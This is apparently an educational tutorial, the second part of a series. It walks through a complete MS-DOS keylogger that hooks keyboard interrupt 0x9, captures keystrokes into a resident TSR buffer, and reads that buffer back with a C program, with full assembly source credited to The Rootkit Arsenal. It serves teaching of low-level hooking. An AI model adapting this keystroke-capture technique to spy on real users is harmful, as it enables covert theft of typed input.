Before reading this article, please take a look at the first part of the article accessible here. Also note that there will be no more articles regarding hooking of the interrupts in the MSDOS environment.

In the previous article, we described the process of how to hook the 0×9 interrupt and log the keystrokes in detail. But let’s take a look at the picture below that demonstrates what we’re actually doing (hopefully the picture should be a clear understanding of the concept):

On the picture above, we’re starting with the _install function and then executing the stages 1, 2, 3, 4. Whenever a key is pressed, the 9th ISR will be called, which means that the code of the _hookBIOS function will be executed. Also, the _oldISR contains the old 0x9h ISR pointer, while the _chkISR holds the 0x16h old ISR pointer. In addition, the ISR of the 0xBBh element points to the _getBufferAddr function. Let’s now present the _hookBIOS code that is called whenever a key is pressed on the keyboard. The code can be seen below:

_hookBIOS:
PUSH BX
PUSH AX
PUSHF
CALL CS :_oldISR
MOV AH,01H
PUSHF
CALL CS:_chkISR

CLI
PUSH DS
PUSH CS
POP DS

jz _hb_Exit
LEA BX,_buffer
PUSH SI
MOV SI, WORD PTR [_index]
MOV BYTE PTR [BX+SI],AL
INC SI
MOV WORD PTR [_index], SI
POP SI

_hb_Exit:
POP DS
POP AX
POP BX
STI
IRET

In the code above, we’re first storing the values of registers BX and AX, which are later reviewed when exiting the function. We’re also pushing the EFLAGS register onto the stack with the PUSHF instruction. After that, we’re executing the function that is located at the _oldISR location. Remember that we used this variable to store the old ISR pointer of the 0x9th vector to it.Thatmeans that we’re calling the old interrupt service routine that was supposed to be called when the key on the keyboard was pressed if we hadn’t have hooked it. Next, we’re calling the _chkISR that correlates to the ISR pointer of the 0x16th vector, which is used to check if a new character has been put in the system’s buffer.

Then we’re using the CLI instruction to clear the Interrupt Flag (IF flag) in the EFLAGS register and storing some register values on the stack. The instruction “jz _hb_Exit” checks whether there’s some key in the system’s buffer. If it isn’t, the jump is taken and we’re terminating the function by restoring the register values, re-enabling the Interrupt Flag IF and returning to the calling function. But if there is a key in the system’s buffer, we’re continuing with the “LEA BX,_buffer” instruction. At that point we’re storing the pointer to variable _buffer into register BX as a base pointer for the array and the _index variable as an index into the array. Whenever there’s a key to be saved, it is saved in the appropriate array element (denoted by the _index variable) and the _index variable is also increased by 1. This effectively saves the pressed keys to the memory array located at the _buffer variable, increasing the index into the array by one each key press. The _hookBIOS function thus effectively calls the 0x9th and 0x16th ISR routine as well as saves the pressed key to the _buffer memory region. But this still isn’t the end of the story: so far the _hookBIOS function is being called when we press a key on the keyboard, which in turn calls the interrupt service routines that would have normally been called.

The problem is that when the program terminates, it will be wiped from the memory. Since the IVT table would be changed to point to the functions that have been removed from memory, the interrupt service routines actually point at an invalid memory location, so the MSDOS will probably crash. This is why we must still implement the TSR routine that will instruct the MSDOS to keep the program in memory even after it terminates. These instructions can be seen right after the function call to the _install function and are presented below:

MOV AH,31H
MOV AL,0H
MOV DX,200H
INT 21H

pop BP
RET

We can immediately see that we’re using the “int 21h” instruction, which can be used to achieve that the program isn’t removed from the memory after termination. This is also the end of the program. But there is something missing, isn’t there? Yes there is; we’ve completely forget about the _getBufferAddr, which is the interrupt service routine of the 0xBB vector that we’ve also overwritten. This isn’t actually used anywhere in the program, it just defines that whenever 0xBB interrupt is invoked, the _getBufferAddr function should be called. Let’s also present that function:

_getBufferAddr:
STI
MOV DX,CS
LEA DI,_buffer
IRET

The STI instruction sets the Interrupt Flag IF in the EFLAGS register, which means that the breakpoints can be set and program interrupt service routine debugged. The rest of the instructions basically get the address of the _buffer array in memory and return its address. This makes sense, since when the interrupt 0xBB is invoked, we will get the pointer to the _buffer address that contains all the pressed keys so far. We’ve just come at the end of the assembly routine and it’s time to test if it actually works.

Let’s compile the program with Watcom, copy it to the .iso image and load it into the MSDOS environment. But before running the program, let’s inspect the current IVT table. If we dump the beginning of the interrupt vector table, we’ll see something like this. The important entries are 0×9 and 0×16, which currently hold the values 0C69:0028 and 0070:042D.

Want to learn more?? The InfoSec Institute Reverse Engineering course teaches you everything from reverse engineering malware to discovering vulnerabilities in binaries. These skills are required in order to properly secure an organization from today's ever evolving threats. In this 5 day hands-on course, you will gain the necessary binary analysis skills to discover the true nature of any Windows binary. You will learn how to recognize the high level language constructs (such as branching statements, looping functions and network socket code) critical to performing a thorough and professional reverse engineering analysis of a binary. Some features of this course include:

  • CREA Certification
  • 5 days of Intensive Hands-On Labs
  • Hostile Code & Malware analysis, including: Worms, Viruses, Trojans, Rootkits and Bots
  • Binary obfuscation schemes, used by: Hackers, Trojan writers and copy protection algorithms
  • Learn the methodologies, tools, and manual reversing techniques used real world situations in our reversing lab.

Let’s also examine the 0xBB interrupt vector, which is important because we’ll be using it to get the address of the stored keystrokes in memory.

The interrupt vector 187 is currently not being used because it contains the values 0000:0000, as we can see on the picture above. After running the program and dumping the IVT table again, we’ll be presented with the following modified vectors in the IVT table:

Notice that the interrupt vector 0×9 contains the values 190A:0319 instead of 0C69:0028? The address 190A:0319 now points to the _hookBIOS function, while the address 0C69:0028 points to the _oldISR. The vector 0×16 is the same it was before since we didn’t change it; we just copied it to another variable so we could use it later in the program (as we already described). Also notice that the 0xBBth module is now initialized with the address 0x190A:0311, which is real close to the address of _hookBIOS function. This makes sense, since the _getBufferAddr and _hookBIOS functions are right next to each other in the assembly code. Let’s now present the whole code of the program for full reference: keep in mind that this program was not written by me, but by Bill Blunden in the Rootkit’s Arsenal [2]:

CSEG SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CSEG, DS:CSEG, SS:CSEG
ORG 100H

; This label defines the starting point
_here:
JMP _main

; global data
JMP _overData
_buffer DB 512 DUP('W')
_terminator DB 'Z'
_index DW 0H
_oldISR DD 0H
_chkISR DD 0H
_overData :

; ISR to return address of buffer
_getBufferAddr:
STI
MOV DX,CS
LEA DI,_buffer
IRET

; ISR to hook BIOS int 0x9
_hookBIOS:
PUSH BX
PUSH AX
PUSHF
CALL CS :_oldISR
MOV AH,01H
PUSHF
CALL CS:_chkISR

CLI
PUSH DS
PUSH CS
POP DS

jz _hb_Exit
LEA BX,_buffer
PUSH SI
MOV SI, WORD PTR [_index]
MOV BYTE PTR [BX+SI],AL
INC SI
MOV WORD PTR [_index], SI
POP SI

_hb_Exit:
POP DS
POP AX
POP BX
STI
IRET

_install:
LEA DX,_getBufferAddr ; set up first ISR (Vector 187 = eXBB)
MOV CX,CS
MOV DS,CX
MOV AH,25H
MOV AL,187
INT 21H

; get address of existing BIOS 0x9 interrupt
MOV AH,35H
MOV AL,09H
INT 21H
MOV WORD PTR _oldISR[0],BX
MOV WORD PTR _oldISR[2],ES

; get address of existing BIOS 0x16 interrupt
MOV AH,35H
MOV AL,16H
INT 21H
MOV WORD PTR _chkISR[0],BX
MOV WORD PTR _chkISR[2],ES

; set up BIOS ISR hook
LEA DX,_hookBIOS
MOV CX,CS
MOV DS,CX
MOV AH,25H
MOV AL,09H
INT 21H

RET

PUBLIC _main
_main:
PUSH BP
MOV BP,SP
MOV AX,CS
MOV SS,AX
LEA AX, _localStk
ADD AX,100H
MOV SP,AX

CALL NEAR PTR _install

MOV AH,31H
MOV AL,0H
MOV DX,200H
INT 21H

pop BP
RET

; stack for .COM program
PUBLIC _localStk
_localStk DB 256 DUP('A')

CSEG ENDS
END _here

Reading the Keystrokes from the Buffer

We’ve seen how the interrupt 0×9 is hooked to log the keystrokes to the buffer stored in the global memory. Now, while the hook program is running, we must read the contents of that buffer and print them to the screen. Let’s present the whole program first: keep in mind that I’ve only included the relevant code from the [2] to make the program much smaller and easier to understand:

#include <stdio.h>
#include <stdlib.h>
#define WORD unsigned short
#define BYTE unsigned char

voidprintBuffer(char* cptr, int size) {
intnColumns ;  //formats the output to NCOLS columns
intnPrinted;   //tracks number of alphanumeric bytes
inti;

nColumns=0 ;
nPrinted=0 ;

for(i=0; i<size; i++) {
if((cptr[i]>=0x20)&amp;&amp;(cptr[i]<=0x7E)) {
printf("%c", cptr[i]);
nPrinted++;
}
else {
printf("*");
}
nColumns++;
if(nColumns==16)     {
printf("n") ;
nColumns=0;
}
}
printf("nPrinted %d of %d totaln",nPrinted, size);
return;
}

void main() {
WORD bufferCS;
WORD bufferIP;
BYTE crtIO[513];
WORD index;
WORD value;

/* Get the address of the buffer */
__asm {
PUSH DX
PUSH DI
INT 0xBB
MOV bufferCS, DX
MOV bufferIP, DI
POP DI
POP DX
}

/* Read all the characters from the buffer and print them on the screen */
for( index=0; index<513; index++) {
_asm {
PUSH ES
PUSH BX
PUSH SI

MOV ES, bufferCS
MOV BX, bufferIP
MOV SI,index
ADD BX,SI

PUSH DS
MOV CX,ES
MOV DS,CX
MOV SI,DS:[BX]
POP DS
MOV value,SI
POP SI
POP BX
POP ES
}
crtIO[index]=(char)value;
}

printBuffer(crtIO, 100);
return;
}

The program is self-explanatory, which is why we won’t go into detail. Let’s just say that at the end of the program, we’re using the printBuffer method to print the contents of the global memory where the keys have been logged to, to the stdout.However, we’re printing just the first 100 bytes of that memory, so we’ll be able to observe the starting point of the memory: the first commands we’ll be entering after hooking the keystroke interrupt 0×9. We can also see the purpose of the 0xBB interrupt that we used in the hooking program: it is used in the current program to get the address of the buffer in a memory, so we can read the contents from it and write it to stdout.

Now we can compile the program with Watcom as a 16-bit binary, create a new iso with mkisofswhile including the just compiled binary to the iso and booting the MSDOS with that iso as a Floppy Device. After that, the contents of the iso will be available under the C: drive. To test the program above, we’ll now be running the following commands in the MSDOS environment:

C:> asr.exe
C:>mem /d
C:> hooktsr.exe

The first command installs our hook into the MSDOS environment, so every keystroke will be logged to the global memory. After the program will be terminated, its memory will not be freed, because we’re using TSR (Terminate and Stay Resident), which keeps the program’s memory intact even after termination. Then we’re running the “mem /d /p” command to display all the memory in the MSDOS environment. At last, we’re running our hooktsr.exe program that displays the contents of the global memory where the keystrokes have been logged. The result can be seen on the picture below:

Notice that the global memory contains the exact contents of the keystrokes that we’ve pressed after running asr.exe? First, we ran the “mem.exe /d” command, which is followed by the ‘*’ that presents the keystroke ‘Enter’. Enter is being presented in such a way, because it cannot be presented in default ASCII character set: only the ASCII characters are printed to the stdout, others are presented with the ‘*’ character. After that, we’ve also run the “hooktsr.exe” command again followed by the ‘Enter’key.

Conclusion

We’ve seen how we can intercept all the keystrokes from the MSDOS environment by hooking the interrupt 0×9 vector. After hooking that interrupt, we were able to copy all the pressed keystrokes to the global memory and later print them to the stdout with another program that only reads the contents from the memory. With this, we’re able to completely change the whole MSDOS environment as we wish. This is possible because there are no protection mechanisms in place to prevent us from changing the operating system’s concepts and code.

References:

[1]: Terminate and Stay Resident, accessible at http://en.wikipedia.org/wiki/Terminate_and_Stay_Resident.

[2]: Bill Blunder, The Rootkit Arsenal: Escape and Evasion in the Dark Corners of the System.

/p